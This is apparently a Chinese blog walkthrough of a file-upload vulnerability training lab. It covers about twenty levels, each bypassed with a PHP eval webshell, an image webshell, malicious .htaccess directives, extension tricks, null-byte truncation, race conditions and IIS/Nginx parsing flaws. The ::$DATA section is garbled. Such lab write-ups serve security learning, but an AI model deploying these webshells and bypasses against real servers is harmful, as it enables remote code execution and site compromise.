[zkaq靶场]文件上传

文件上传靶场

准备工作

一个php一句话木马:oneword.php
<?php @eval($_REQUEST[6]);?>
一个图片马

copy cat.jpg/b + oneword.php new_cat.jpg

正常图片:cat.jpg

图片马:new_cat.jpg

第一关

image-20210329225539956

前端验证绕过,形同虚设,通过抓包修改即可。

上传oneword.jpg,通过bp抓包修改为oneword.php

image-20210329230027805

将filename修改为oneword.php,即可成功上传。

image-20210329230126244

复制图片地址,打开菜刀。

image-20210329230341233

成功连接。

image-20210329230458351

第二关

image-20210329230626456

Content-Type绕过。

Content-Type字段由客户端提供,同样抓包修改即可。

image-20210329230813533

image-20210329231615667

成功上传。

image-20210329230947719

访问图片地址:
?6=phpinfo();

image-20210329231705833

第三关

image-20210329231754128

黑名单绕过。

黑名单过滤了’.asp’,’.aspx’,’.php’,’.jsp’后缀的文件。

黑名单绕过的方式可就太多了。

1️⃣.php3, .php4, .php5, .phtml可以上传

image-20210329232352382

2️⃣.php. .php空格

这里我们上传一个.php5后缀的oneword

成功上传。

image-20210329232629513

访问:http://59.63.200.79:8016/Pass-03/upload//oneword.php5?6=phpinfo();
image-20210329232708287

第四关

image-20210329232725239

.htaccess攻击是Apache服务器的分布式配置文件,该配置文件会覆盖Apache服务器的全局配置,作用域为当前目录及其子目录。

如果一个Web应用允许上传.htaccess文件,那么意味着攻击者可以更改Apache配置。

.htaccess文件:

将png文件做当php文件解析:

AddType application/x-httpd-php .png

文件名中包含php关键字时当作php脚本执行:info.php.png

AddHandler php5-script php

匹配文件名[xxx],然后执行其中的php代码

<FilesMatch “xxx”>

SetHandler application/x-httpd-php

</FilesMatch >

操作:先上传.htaccess文件,然后上传一个图片马。

image-20210329233026337

上传该.htaccess文件

然后上传图片马new_cat.jpg

image-20210329233307224

访问:http://59.63.200.79:8016/Pass-04/upload/new_cat.jpg?6=phpinfo();

image-20210329233351296

第五关

image-20210329233418928

不用多说,直接绕过。存在于非常古老的web容器,现在的web容器都不区分大小写。

上传oneword.PHP,成功。

image-20210329233623689

访问:

image-20210329233648869

第六关

image-20210329233708953

文件后缀空绕过。

在文件名后面留一个空格,然后上传到服务器后空格会被自动的省略,但是看源码可知道,源码中黑名单中没有过滤空值,那么php和php ,当然是不一样的。

在Windows中在文件后缀中加空格是不行的,空格会被直接忽略掉。通过抓包在bp中加空格。

image-20210329234123634

成功上传。

image-20210329234143675

访问:http://59.63.200.79:8016/Pass-06/upload//oneword.php?6=phpinfo();

image-20210329234218237

第七关

image-20210329234245153

windows有一个特性,会自动去掉后缀名最后的.

同理,在windows中修改后缀名是不行的,通过抓包完成修改。

image-20210329234516737

成功上传。

image-20210329234538902

访问:http://59.63.200.79:8016/Pass-07/upload//oneword.php.?6=phpinfo();

image-20210329234654601

第八关

image-20210329234726391

在window中如果文件名+":: D A T A " 会 把 : : DATA"会把:: DATA"::DATA之后的数据当成文件流处理,不会检测后缀名,且保持:: D A T A 之 前 的 文 件 名 , : : DATA之前的文件名,:: DATA::DATA就是默认不修改文件流的情况

例如:“phpinfo.php:: D A T A " W i n d o w s 会 自 动 去 掉 末 尾 的 : : DATA"Windows会自动去掉末尾的:: DATA"Windows::DATA变成"phpinfo.php”

image-20210329235905056

上传成功:
image-20210329235917332

访问:http://59.63.200.79:8016/Pass-08/upload//oneword.php?6=phpinfo();

image-20210330000016799

第九关

image-20210330000035353

黑名单的禁止策略:

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;

删除文件名末尾的点,然后去除空,但是这些检测只进行了一次。

我们构造该后缀的文件:. .点空点。经过过滤规则,还剩一个点,但是Windows服务器会忽略后缀名最后的点。

image-20210330000504621

上传成功。

image-20210330000525947

访问:http://59.63.200.79:8016/Pass-09/upload//oneword.php.?6=phpinfo();

image-20210330000557977

第十关

image-20210330000620197

上传oneword.pphphp

image-20210330000803273

成功上传。

访问变成.php

666666666666666666

第十一关

image-20210401223258757

%00截断。

00就是十六进制的NULL字符,URL中表示为%00。由于00代表结束符,所以会忽略00后面的字符。

当我们上传的文件需要被保存到服务器的时候,php函数在读取我们上传的文件名时由于读取到%00就会认为后面为空,读取结束。

我们这里选择上传oneworld.jpg,然后抓包。

image-20210401225318224

这里有一个save_path参数,表示的是我们上传文件后的存储位置,当存储文件的函数读取到%00时就结束读取了,然后文件就被存储为oneword.php。

上传成功:

image-20210401225529668

访问成功:59.63.200.79:8016/upload/oneworld.php�.jpg/1720210401225459.jpg?6=phpinfo();

image-20210401225650693

第十二关

image-20210401225834210

依然时%00截断。

此处上传oneword.jpg

不过提交方式由get变为了post。

在post包里我们依然可以找到上传文件的保存位置:/upload/oneword.php

post传参的时候00截断的位置需要利用hex编码方式来确定。在后面加个#方便找到oneword.php的位置。#的hex编码为23。

image-20210401230301327

image-20210401230357615

将23替换为00。

image-20210401230430497

上传成功:

image-20210401230457901

访问成功:http://59.63.200.79:8016/upload/oneword.php%EF%BF%BD/5220210401230441.jpg?6=phpinfo();

image-20210401230525182

第十三关

image-20210401231144309

上传图片马。图片马不能单独利用,需要结合其他漏洞一起使用。

上传new_cat.jpg成功上传。

image-20210401231240670

第十四关

image-20210401231325114

getimagesize绕过。

PHP函数**getimagesize()**可以获取图片的宽、高信息,如果上传的不是图片,那么该函数就获取不到信息,则不允许上传。

此处依然上传图片马即可。

第十五关

同上,上传图片马即可。

第十六关

image-20210401233620209

二次渲染的意思是图片保存到服务器的时候,服务器会重新读取图片里的内容,然后再重新写入本地文件,若发现可疑语句则删除。

这关的目的是上传图片马,然后上传成功后下载,图片里面依然包含一句话内容。

关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了。

这个位置一般在头部。

使用hex模式编辑go.gif,将一句话内容添加到头部位置,然后保存。

上传成功:

image-20210402000736721

将该图片下载下来,然后用hex模式打开,发现其中的一句话内容还在。

image-20210402000820456

第十七关

image-20210402000950986

一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含webshell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除之间存在一个短的时间差(执行文件检查和删除操作花费的时间),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。

抓两个包:一个上传的文件包,一个访问的文件包,然后疯狂重发包。

image-20210413004759493

第十九关

image-20210415161805018

move_upload_file()截断。

这也是一个00截断问题,跟之前的%00截断一样。当上传文件时,服务器需要将文件保存。使用move_uploaded_file()函数另存为,该函数的第二个参数即要保存的文件名及路径为一个字符串,当我们上传的文件名为1.jpg时,正常读取我们的文件名然后对文件名进行随机数处理进行保存。当我们上传的文件名为1.php%00,读取我们的文件名时读到%00就结束了,就直接另存为。所以我们上传成功了1.php文件。

过程:上传oneword.jpg,post方式上传的,在抓包里修改了.php#.jpg

image-20210415164551111

然后把#的16进制改为00

image-20210415164538066

访问:

image-20210415164648519

第二十关

image-20210415165107210

IIS解析漏洞。

①在IIS6.x下,分号后面的内容不被解析,举个栗子,xx.asp;.jpg将会当作xx.asp去解析执行.
②IIS6.0除了将ASP后缀当做ASP进行解析的同时,当文件后缀名字为.asa .cer .cdx 也会当做asp去解析,这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx 都会调用 asp.dll

IIS5.x下存在目录解析漏洞。

③在网站下建立文件夹的名称中以.asp或.asa等作为后缀的文件夹,其目录内任何扩展名的文件都被IIS当作asp可执行文件去解析并执行.
举个栗子:/xx.asp/xx.jpg为xx.asp目录下存在xx.jpg文件,但将会被IIS解析成asp文件去执行,与原文件的后缀无关.

过程:上传图片马,抓包将其后缀改为asa,然后跟菜刀连接。

image-20210415174230318

image-20210415174605593

第二十一关

image-20210415174835350

依然是IIS的解析漏洞,但是这次利用的是第一点,分号后面的内容不会被解析。

我们可以上传1.asp;.jpg

image-20210415175311470

image-20210415175445009

第二十二关

image-20210415175612210

还是IIS解析漏洞,不过利用的是③点。

image-20210415180108092

image-20210415180133108

image-20210415180231557

第二十三关

PHP CGI解析漏洞

Nginx拿到url“/test.jpg/test.php”后,一看后缀是.php,便认为该文件是php文件,就会交给PHP-CGI去处理。PHP-CGI一看,如果文件不存在,便删除/test.php,然后看/test.jpg是不是存在,如果存在就把它当成php文件执行。所以说我们只需要在正常的.jpg后面加/.php就可以成功的绕过解析。

先上传图片马:new_cat.jpg

image-20210415181524179

]

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值